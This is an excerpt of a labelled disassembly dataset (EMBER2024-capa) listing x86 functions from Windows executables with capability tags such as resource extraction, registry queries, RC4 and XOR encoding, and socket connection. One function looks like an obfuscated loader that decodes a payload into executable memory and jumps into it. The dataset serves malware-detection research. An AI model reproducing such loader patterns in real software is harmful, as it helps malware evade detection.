joyce8/EMBER2024-capa huggingface dataset:
Function at 0x463e05
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x463e3d
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00461ebc
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00461e94
jmp 0x463e49
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4654f7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x465539
call fcn.0046aff7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x465539
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x465530
xor eax, eax
jmp 0x465541
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00465547
pop edi
pop esi
pop ebx
ret 4

Function at 0x46b527
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x46b555
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46b573
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0046b48d
jmp 0x46b573
mov eax, dword [esi + 0x14]
test eax, eax
je 0x46b573
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0046b48d
test edi, edi
mov eax, edi
jne 0x46b55d
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x40c404
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40c413
pop dword [ebp - 0x2c]
mov eax, 0xac5706b8
add eax, 0x53e9bd5b
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x39b93
push 0
mov eax, 0x93244ff5
sub eax, 0x92e1fddd
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x37df
mov edi, eax
mov esi, 0xecd60d85
sub esi, 0xec92b985
add esi, dword [ebp - 0x2c]
mov ebx, 0xfb755aa9
add ebx, 0x4a3d5a4f
mov dword [ebp - 0x24], 0x938a32a7
mov edx, dword [esi]
xor dword [ebp - 0x18], 0xee5685
sub edx, ebx
mov dword [edi], edx
xor dword [ebp - 0xc], 0xfe434824
add edi, 0x18bf7d1e
add edi, 0xe74082e6
add esi, 0x770905c
sub esi, 0x7709058
loop 0x40c46c
add eax, 0x3ecbed75
sub eax, 0x3ecb1b26
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xc437403b
add ecx, 0x3c08bfc5
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x403619
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x414
mov eax, dword [0x467034]
xor eax, esp
mov dword [esp + 0x410], eax
cmp dword [ebp + 0x1c], 0
mov edx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x18]
push esi
push edi
mov esi, ecx
mov dword [esp + 0x10], edx
jne 0x4037a5
xor edi, edi
inc edi
cmp dword [ebp + 0xc], 0x110
push 2
pop edx
jne 0x4036c0
push ecx
push ecx
mov dword [esi + 0x98], edi
call fcn.00403807
mov dword [ebx], eax
cmp dword [esi + 0x98], 0
jne 0x4036e5
mov edx, dword [ebp + 0xc]
mov ecx, dword [esp + 0x10]
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.00402a4f
add esp, 0xc
test eax, eax
jne 0x4036e5
cmp dword [ebp + 0xc], 0x111
mov eax, dword [esi + 0x50]
mov dword [esp + 0x14], eax
jne 0x40374e
cmp di, word [ebp + 0x10]
jne 0x403778
push edi
push dword [esi + 4]
mov dword [esi + 0x50], edi
call dword [sym.imp.USER32.dll_EndDialog]
and dword [ebx], 0
jmp 0x403772
cmp dword [ebp + 0xc], 0x111
jne 0x403673
mov eax, dword [ebp + 0x10]
movzx eax, ax
mov ecx, eax
cmp dx, ax
jne 0x4036ec
push edx
push dword [esi + 4]
call dword [sym.imp.USER32.dll_EndDialog]
xor edi, edi
inc edi
mov dword [ebx], edi
mov eax, edi
jmp 0x4037a7
cmp di, cx
jne 0x403734
push 0x400
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.0041d050
add esp, 0xc
lea eax, [esp + 0x18]
push 0x200
push eax
push dword [esi + 0x60]
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x18]
push eax
lea ecx, [esi + 0x80]
call fcn.0040221a
push edi
push dword [esi + 4]
call dword [sym.imp.USER32.dll_EndDialog]
jmp 0x4036e3
push 0x4d
pop eax
cmp ax, cx
jne 0x403673
sub esp, 0x10
mov ecx, esi
call fcn.00403c5f
mov dword [ebx], eax
jmp 0x4036e5
cmp dword [ebp + 0xc], 0x10
jne 0x40375b
push 2
jmp 0x4036ac
cmp dword [ebp + 0xc], 0x110
jne 0x403778
push ecx
push ecx
mov ecx, esi
mov dword [esi + 0x50], edi
call fcn.00402942
mov dword [ebx], eax
cmp dword [esi + 0x50], 0
jne 0x403792
mov edx, dword [ebp + 0xc]
mov ecx, dword [esp + 0x10]
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.00402a4f
add esp, 0xc
test eax, eax
je 0x40379e
mov eax, dword [esp + 0x14]
mov dword [esi + 0x50], eax
jmp 0x4036e5
mov eax, dword [esp + 0x14]
mov dword [esi + 0x50], eax
xor eax, eax
mov ecx, dword [esp + 0x41c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041b30a
mov esp, ebp
pop ebp
ret 0x18

Function at 0x407594
Capabilities:
Create thread

Disassembly:
push 4
mov eax, 0x44c340
call fcn.0041bc0e
mov esi, ecx
push 4
xor ebx, ebx
call fcn.0041b349
mov edx, dword [ebp + 8]
mov dword [ebp + 8], eax
mov dword [eax], edx
lea edi, [esi + 4]
mov dword [ebp - 4], ebx
push edi
push ebx
push eax
push 0x407985
push ebx
push ebx
call fcn.00426ffd
add esp, 0x1c
mov dword [esi], eax
test eax, eax
je 0x4075db
mov eax, esi
call fcn.0041bbdc
ret 4
push 6
mov dword [edi], ebx
call fcn.0041a390
int3
Function at 0x408166
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
xor ebx, ebx
test ecx, ecx
je 0x408189
cmp word [ecx], bx
je 0x408189
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x408189
push 1
test al, 0x10
movzx ebx, bl
pop ecx
cmove ebx, ecx
mov al, bl
pop ebx
ret

Function at 0x408246
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x467034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
xor eax, eax
push esi
push edi
push 0xa
pop ecx
push dword [ebp + 8]
lea edi, [ebp - 0x2c]
mov esi, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push 0x45dae0
push eax
call fcn.00406845
add esp, 0xc
lea eax, [ebp - 0x2c]
push esi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x4082f4
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4082f4
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x4082f4
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test esi, esi
je 0x4082f4
lea eax, [esi + 1]
cmp eax, dword [ebx + 0x10]
ja 0x4082d4
cmp dword [ebx + 0x14], 0x10
mov edx, ebx
jb 0x4082ca
mov edx, dword [ebx]
xor ecx, ecx
mov dword [ebx + 0x10], eax
mov byte [edx + eax], cl
jmp 0x4082e0
sub eax, dword [ebx + 0x10]
push ecx
push eax
mov ecx, ebx
call fcn.00408a68
push ecx
mov ecx, ebx
call fcn.00406799
push esi
push edi
call fcn.0040213c
xor ecx, ecx
inc ecx
jmp 0x4082f6
xor ecx, ecx
mov eax, ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041b30a
leave
ret

Function at 0x408307
Capabilities:
Get file version info

Disassembly:
push 0x18
mov eax, 0x44c480
call fcn.0041bc77
mov esi, edx
mov ebx, ecx
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push ebx
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
push eax
mov dword [ebp - 0x1c], eax
call fcn.0041b5cf
pop ecx
mov edi, eax
xor eax, eax
push edi
push dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
push eax
push ebx
mov dword [ebp - 0x14], eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x40838b
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x45d9e8
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueW]
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x40838b
mov ax, word [ecx + 0xa]
mov word [esi], ax
mov ax, word [ecx + 8]
mov word [esi + 2], ax
mov ax, word [ecx + 0xe]
mov word [esi + 4], ax
mov ax, word [ecx + 0xc]
mov word [esi + 6], ax
xor esi, esi
inc esi
test edi, edi
je 0x4083a4
push edi
call fcn.0041b5ca
pop ecx
jmp 0x4083a4
mov eax, esi
call fcn.0041bbdc
ret
Function at 0x4083b1
Capabilities:
Get common file path

Disassembly:
push 0x854
mov eax, 0x44c4b8
call fcn.0041bc41
mov ebx, ecx
push 0x800
lea eax, [ebp - 0x810]
push 0
push eax
call fcn.0041d050
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0x840]
call fcn.00401a89
and dword [ebp - 4], 0
lea edi, [ebp - 0x828]
xor eax, eax
stosd dword es:[edi], eax
push 7
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x814], ecx
mov word [ebp - 0x828], ax
push 8
mov byte [ebp - 4], 1
pop edi
cmp ecx, edi
lea eax, [ebp - 0x828]
push 0xa
cmovae eax, dword [ebp - 0x828]
lea edx, [ebp - 0x828]
and dword [ebp - 0x818], 0
xor ecx, ecx
mov word [eax], cx
pop ecx
call fcn.00409e0b
lea eax, [ebp - 0x828]
push eax
lea edx, [ebp - 0x840]
lea ecx, [ebp - 0x858]
call fcn.00408d89
pop ecx
cmp dword [eax + 0x14], edi
jb 0x40846e
mov eax, dword [eax]
push 0
push eax
call fcn.004269c8
pop ecx
pop ecx
lea ecx, [ebp - 0x858]
mov esi, eax
call fcn.004024f1
test esi, esi
jne 0x408491
mov ecx, dword [ebp - 0x814]
jmp 0x408425
lea eax, [ebp - 0x828]
push eax
lea edx, [ebp - 0x840]
lea ecx, [ebp - 0x858]
call fcn.00408d89
pop ecx
push eax
mov ecx, ebx
call fcn.00401a52
lea ecx, [ebp - 0x858]
call fcn.004024f1
cmp dword [ebx + 0x14], edi
jb 0x4084c4
mov ebx, dword [ebx]
mov eax, dword [ebp - 0x814]
cmp eax, edi
jb 0x408518
mov ecx, dword [ebp - 0x828]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x85c], eax
mov dword [ebp - 0x860], ecx
cmp eax, 0x1000
jb 0x40850f
lea eax, [ebp - 0x85c]
push eax
lea eax, [ebp - 0x860]
push eax
call fcn.004024a1
mov eax, dword [ebp - 0x85c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x860]
push eax
push ecx
call fcn.0041b318
pop ecx
pop ecx
and dword [ebp - 0x818], 0
lea ecx, [ebp - 0x840]
xor eax, eax
mov dword [ebp - 0x814], 7
mov word [ebp - 0x828], ax
call fcn.004024f1
mov eax, ebx
call fcn.0041bbf0
ret
Function at 0x408545
Capabilities:
Get common file path
Query or enumerate registry value

Disassembly:
push 0x844
mov eax, 0x44c526
call fcn.0041bc41
mov esi, ecx
xor ebx, ebx
push ebx
mov dword [ebp - 0x84c], ebx
mov dword [ebp - 0x844], ebx
call fcn.004054be
mov edx, str.JaqKKLKJSDKTn9NPjHsGku6Tny6RJL6TSDpRjHcSkm6NJLrSoarRj1IJXuMOcLbSSL_RrabSkuMRau6T
lea ecx, [ebp - 0x840]
call fcn.00410182
mov edx, eax
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x828]
call fcn.00409cf7
cmp dword [eax + 0x14], 8
jb 0x408592
mov eax, dword [eax]
lea ecx, [ebp - 0x844]
push ecx
push 0x20019
push ebx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea ecx, [ebp - 0x828]
call fcn.004024f1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x840]
call fcn.004021e4
push 0x800
lea eax, [ebp - 0x810]
push ebx
push eax
call fcn.0041d050
add esp, 0xc
mov dword [ebp - 0x848], 0x400
cmp dword [ebp - 0x844], 0
je 0x40869c
lea eax, [ebp - 0x848]
push eax
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 0x850]
push eax
push ebx
push str.TEMP
push dword [ebp - 0x844]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x408690
lea eax, [ebp - 0x810]
mov ecx, esi
push eax
call fcn.0040221a
push ebx
push dword [0x48e094]
mov ecx, esi
call fcn.00408a30
mov edi, eax
cmp edi, 0xffffffff
je 0x408690
push 0x400
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x408690
push dword [0x48e094]
call fcn.00428fba
pop ecx
lea edx, [ebp - 0x810]
mov ecx, eax
lea ebx, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, word [ebp - 0x84c]
jne 0x40866c
sub edx, ebx
lea eax, [ebp - 0x810]
sar edx, 1
push edx
push eax
push ecx
push edi
mov ecx, esi
call fcn.00408ac2
push dword [ebp - 0x844]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.0041bbf0
ret
Function at 0x40876c
Capabilities:
Create directory
Get common file path

Disassembly:
push 0x870
mov eax, 0x44c576
call fcn.0041bc41
mov esi, ecx
mov dword [ebp - 0x874], esi
push 0x800
xor ebx, ebx
mov dword [ebp - 0x874], esi
lea eax, [ebp - 0x810]
push ebx
push eax
call fcn.0041d050
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0x858]
call fcn.00401a89
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x858]
cmp dword [ebp - 0x844], 8
mov eax, dword [ebp - 0x848]
cmovae ecx, dword [ebp - 0x858]
cmp word [ecx + eax*2 - 2], 0x5c
je 0x4087f9
push 0x45d9e8
lea ecx, [ebp - 0x858]
call fcn.00401e37
xor eax, eax
lea edi, [ebp - 0x840]
stosd dword es:[edi], eax
push 7
pop edx
mov ecx, edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x82c], ecx
mov word [ebp - 0x840], ax
lea edi, [ebp - 0x828]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x814], edx
mov word [ebp - 0x828], ax
push 8
mov byte [ebp - 4], 2
pop edi
cmp ecx, edi
mov dword [ebp - 0x830], ebx
lea eax, [ebp - 0x840]
cmovae eax, dword [ebp - 0x840]
lea edx, [ebp - 0x840]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x828]
cmp dword [ebp - 0x814], edi
mov dword [ebp - 0x818], ebx
cmovae eax, dword [ebp - 0x828]
mov word [eax], cx
mov ecx, edi
call fcn.00409e0b
push eax
lea edx, [ebp - 0x858]
lea ecx, [ebp - 0x870]
call fcn.00408d89
pop ecx
push eax
lea ecx, [ebp - 0x828]
call fcn.00401a52
lea ecx, [ebp - 0x870]
call fcn.004024f1
cmp dword [ebp - 0x814], edi
lea ecx, [ebp - 0x828]
cmovae ecx, dword [ebp - 0x828]
call fcn.0040818d
test al, al
je 0x4088cd
mov ecx, dword [ebp - 0x82c]
jmp 0x408839
cmp dword [ebp - 0x814], edi
lea eax, [ebp - 0x828]
cmovae eax, dword [ebp - 0x828]
push eax
call fcn.00427dd1
pop ecx
lea eax, [ebp - 0x828]
mov ecx, esi
push eax
call fcn.00401d7a
mov eax, dword [ebp - 0x814]
cmp eax, edi
jb 0x408949
mov ecx, dword [ebp - 0x828]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x874], ecx
cmp eax, 0x1000
jb 0x408940
lea eax, [ebp - 0x878]
push eax
lea eax, [ebp - 0x874]
push eax
call fcn.004024a1
mov eax, dword [ebp - 0x878]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x874]
push eax
push ecx
call fcn.0041b318
pop ecx
pop ecx
xor eax, eax
mov dword [ebp - 0x818], ebx
mov word [ebp - 0x828], ax
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x814], 7
cmp eax, edi
jb 0x4089b6
mov ecx, dword [ebp - 0x840]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x874], eax
mov dword [ebp - 0x878], ecx
cmp eax, 0x1000
jb 0x4089ad
lea eax, [ebp - 0x874]
push eax
lea eax, [ebp - 0x878]
push eax
call fcn.004024a1
mov eax, dword [ebp - 0x874]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x878]
push eax
push ecx
call fcn.0041b318
pop ecx
pop ecx
xor eax, eax
mov dword [ebp - 0x830], ebx
lea ecx, [ebp - 0x858]
mov dword [ebp - 0x82c], 7
mov word [ebp - 0x840], ax
call fcn.004024f1
mov eax, esi
call fcn.0041bbf0
ret
Function at 0x409d74
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, edx
xor bl, bl
push 0xb1
mov ecx, esi
call fcn.0040a3f4
jmp 0x409df9
call fcn.00421bcb
push 0x24
cdq
pop ecx
idiv ecx
cmp edx, 9
ja 0x409da2
add dl, 0x30
jmp 0x409da5
add dl, 0x57
mov byte [ebp - 4], dl
lea eax, [edx - 0x30]
test edi, edi
jne 0x409db7
cmp al, 9
jbe 0x409df9
test edi, edi
je 0x409dc7
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x409dc1
mov ecx, dword [esi]
cmp byte [edi + ecx - 1], dl
je 0x409df9
test bl, bl
jne 0x409ded
cmp al, 9
ja 0x409dd3
inc bl
jmp 0x409ded
cmp dword [esi + 0x10], 0xb0
jne 0x409ded
call fcn.00421bcb
push 0xa
cdq
pop ecx
idiv ecx
add dl, 0x30
mov byte [ebp - 4], dl
push dword [ebp - 4]
mov ecx, esi
push 1
call fcn.0040a455
mov edi, dword [esi + 0x10]
cmp edi, 0xb1
jb 0x409d8d
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x40bb40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, ecx
mov dword [ebp - 4], eax
add eax, 4
cmp dword [eax + 0x14], 8
jb 0x40bb54
mov eax, dword [eax]
push esi
push 0x45da38
push eax
call fcn.004216e3
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x40bbd3
push ebx
push edi
mov ecx, esi
call fcn.004081fc
mov ebx, eax
push ebx
call fcn.0041b5cf
push ebx
mov edi, eax
push 0
push edi
call fcn.0041d050
push esi
push 1
push ebx
push edi
call fcn.004279c5
push esi
call fcn.00421b21
mov ecx, dword [ebp - 4]
add esp, 0x24
cmp dword [ecx + 0x2c], 0
je 0x40bbbb
add ecx, 0x1c
cmp dword [ecx + 0x14], 0x10
jb 0x40bbab
mov ecx, dword [ecx]
mov esi, dword [ebp + 8]
mov edx, edi
push esi
push ebx
call fcn.0041046d
pop ecx
pop ecx
jmp 0x40bbc7
mov esi, dword [ebp + 8]
mov ecx, esi
push ebx
push edi
call fcn.0040213c
push edi
call fcn.0041b5ca
mov eax, dword [esi + 0x10]
pop ecx
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x40fbd3
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d3c1
mov eax, dword fs:[0]
push eax
mov eax, 0x1040
call fcn.0041c3d0
mov eax, dword [0x467034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
call fcn.0040f82c
mov ebx, 0x800
mov esi, eax
push ebx
lea eax, [ebp - 0x1010]
push 0
push eax
call fcn.0041d050
xor eax, eax
push ebx
push eax
mov dword [ebp - 0x1044], eax
mov dword [ebp - 0x104c], eax
mov dword [ebp - 0x1048], eax
lea eax, [ebp - 0x810]
push eax
call fcn.0041d050
add esp, 0x18
lea ecx, [ebp - 0x1040]
mov edx, str.3eoB
call fcn.00410182
and dword [ebp - 4], 0
lea ecx, [ebp - 0x1028]
mov edx, eax
call fcn.00409cf7
lea ecx, [ebp - 0x1040]
call fcn.004021e4
cmp dword [ebp - 0x1014], 8
lea ecx, [ebp - 0x810]
mov edx, 0x400
lea eax, [ebp - 0x1028]
cmovae eax, dword [ebp - 0x1028]
push edx
push ecx
lea ecx, [ebp - 0x1048]
push ecx
lea ecx, [ebp - 0x104c]
push ecx
lea ecx, [ebp - 0x1044]
push ecx
push edx
lea ecx, [ebp - 0x1010]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov ecx, dword [ebp - 0x1044]
mov edx, esi
push edi
call fcn.0040fb33
pop ecx
lea ecx, [ebp - 0x1028]
call fcn.004024f1
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041b30a
leave
ret
Function at 0x413a86
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 8], edi
mov ebx, dword [edi + 0x2c]
lea edx, [edi + 0x38]
mov dword [ebp - 0x18], ebx
mov eax, dword [edi + 0x2c]
mov ecx, dword [edi + 0x3c]
add eax, 0xfffffefa
sub ecx, dword [edi + 0x74]
add eax, ebx
sub ecx, dword [edi + 0x6c]
mov dword [ebp - 4], edx
mov dword [ebp - 0x14], ecx
cmp dword [edi + 0x6c], eax
jb 0x413b37
mov ecx, dword [edx]
push ebx
lea eax, [ecx + ebx]
push eax
push ecx
call fcn.0041cad0
mov ecx, dword [edi + 0x4c]
add esp, 0xc
mov eax, dword [edi + 0x44]
sub dword [edi + 0x70], ebx
sub dword [edi + 0x6c], ebx
sub dword [edi + 0x5c], ebx
mov edi, ecx
mov dword [ebp - 0xc], ecx
lea esi, [eax + ecx*2]
lea esi, [esi - 2]
movzx ecx, bx
movzx eax, word [esi]
mov edx, eax
mov dword [ebp - 0x10], ecx
sub eax, ecx
xor ecx, ecx
cmp edx, ebx
movzx eax, ax
cmovae ecx, eax
mov word [esi], cx
sub edi, 1
jne 0x413ae2
mov edi, dword [ebp - 8]
mov dword [ebp - 0xc], ebx
mov eax, dword [edi + 0x40]
mov edi, ebx
lea esi, [eax + ebx*2]
lea esi, [esi - 2]
xor ecx, ecx
movzx eax, word [esi]
mov edx, eax
sub eax, dword [ebp - 0x10]
cmp edx, ebx
movzx eax, ax
cmovae ecx, eax
mov word [esi], cx
sub edi, 1
jne 0x413b12
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 8]
add ecx, ebx
mov esi, dword [edi]
mov eax, dword [esi + 4]
test eax, eax
je 0x413bf1
mov ebx, dword [ebp - 4]
mov edx, dword [edi + 0x74]
add edx, dword [edi + 0x6c]
add edx, dword [ebx]
mov ebx, eax
mov dword [ebp - 0x14], edx
cmp ebx, ecx
jbe 0x413b5e
mov ebx, ecx
test ebx, ebx
je 0x413baa
sub eax, ebx
mov dword [esi + 4], eax
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + 0x18]
cmp eax, 1
jne 0x413b7b
mov edx, dword [esi]
mov ecx, dword [esi + 0x30]
push ebx
call fcn.00414446
jmp 0x413b93
cmp eax, 2
jne 0x413b97
mov edx, dword [esi]
test edx, edx
jne 0x413b8a
xor eax, eax
jmp 0x413b94
mov ecx, dword [esi + 0x30]
push ebx
call fcn.004115f6
pop ecx
mov dword [esi + 0x30], eax
push ebx
push dword [esi]
push dword [ebp - 0x14]
call fcn.0041cad0
add dword [esi], ebx
add esp, 0xc
add dword [esi + 8], ebx
add ebx, dword [edi + 0x74]
mov dword [edi + 0x74], ebx
cmp ebx, 3
jb 0x413bd6
mov eax, dword [ebp - 4]
mov edx, dword [edi + 0x6c]
mov ecx, dword [edi + 0x58]
mov eax, dword [eax]
movzx esi, byte [edx + eax]
mov dword [edi + 0x48], esi
movzx eax, byte [edx + eax + 1]
shl esi, cl
xor esi, eax
and esi, dword [edi + 0x54]
mov dword [edi + 0x48], esi
cmp ebx, 0x106
jae 0x413bf1
mov eax, dword [edi]
cmp dword [eax + 4], 0
je 0x413bf1
mov ebx, dword [ebp - 0x18]
mov edx, dword [ebp - 4]
jmp 0x413a9d
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41763f
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x14
push esi
push edi
call fcn.004081fc
push 0x14
pop esi
cmp eax, esi
jb 0x4176ad
push ebx
xor ebx, ebx
push ebx
push ebx
push dword [ebp + 8]
call fcn.004283dc
push dword [ebp + 8]
xor eax, eax
mov word [ebp - 0x10], si
inc eax
mov byte [ebp - 0xc], bl
push eax
mov word [ebp - 0xe], ax
mov edi, 0x58453144
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], edi
push esi
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call fcn.004279c5
add esp, 0x1c
pop ebx
test eax, eax
je 0x4176ad
cmp dword [ebp - 0x14], edi
jne 0x4176ad
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x4176a9
push 5
pop ecx
lea esi, [ebp - 0x14]
rep movsd dword es:[edi], dword [esi]
mov al, 1
jmp 0x4176af
xor al, al
pop edi
pop esi
leave
ret 8

Function at 0x417b63
Capabilities:
Connect socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x467034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
mov edi, ecx
mov dword [ebp - 0x18], edi
push 2
pop eax
test esi, esi
je 0x417bd9
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x417b8c
sub ecx, edx
sar ecx, 1
lea eax, [ecx + 1]
mov dword [ebp - 0x1c], eax
cmp eax, 0x3fffffff
jg 0x417bd6
add eax, eax
call fcn.0041bbb0
mov edi, esp
test edi, edi
je 0x417bd3
mov ecx, dword [ebp - 0x1c]
push ebx
push ebx
mov byte [edi], bl
lea eax, [ecx + ecx]
push eax
push edi
push 0xffffffffffffffff
push esi
push ebx
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
neg eax
sbb ebx, ebx
and ebx, edi
mov edi, dword [ebp - 0x18]
push 2
pop eax
xorps xmm0, xmm0
mov word [ebp - 0x14], ax
push 0x7b
movlpd qword [ebp - 0xc], xmm0
call dword [sym.imp.WSOCK32.dll_htons]
push ebx
mov word [ebp - 0x12], ax
call dword [sym.imp.WSOCK32.dll_inet_addr]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x417c15
push ebx
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
je 0x417c3c
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [edi]
call dword [sym.imp.WSOCK32.dll_connect]
neg eax
sbb eax, eax
inc eax
lea esp, [ebp - 0x28]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041b30a
leave
ret 8
xor eax, eax
jmp 0x417c28